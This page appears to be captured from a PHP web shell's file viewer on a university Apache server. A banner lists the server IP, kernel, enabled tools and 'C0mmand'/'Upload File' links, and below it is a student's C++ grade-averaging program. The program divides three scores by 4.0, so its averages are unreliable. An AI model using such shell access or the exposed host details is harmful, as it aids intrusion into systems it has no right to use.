Server IP : 172.16.15.8 / Your IP : 3.14.132.43 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/jmsanchez/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// Author: Jason Sanchez // Instructor: Dr.Wang // Class: CS212 // Goal: output name, ave, age, class avg score, class avg age #include <iostream> #include <iomanip> using namespace std; struct Student { string name; int test1, test2, final; int age; float avg; }; int main() { Student x; char dummy; float classtotal2 = 0; float classtotal = 0; int classsize = 0; float avgage; float cavg; cout << "Input the name: "; getline(cin, x.name); while(cin) { cout << "Input two test and final grades: "; cin >> x.test1 >> x.test2 >> x.final; cout << "The age: "; cin >> x.age; cin.get(dummy); classsize ++; x.avg = (x.test1+x.test2 +x.final)/4.0; classtotal += x.avg; classtotal2 += x.age; cout << "Name: " << x.name << endl; cout << "Test 1: " << x.test1 << endl; cout << "Test 2: " << x.test2 << endl; cout << "Final: " << x.final << endl; cout << "Age: " << x.age << endl; cout << "Average: " << x.avg << endl; cout << "Input the name: "; getline(cin, x.name); } cavg = classtotal / float(classsize); cout << "\nClass average: " << cavg << endl; avgage = classtotal2 / float(classsize); cout << "\nAverage age: " << avgage << endl; cout << "\nDone.\n"; return 0; }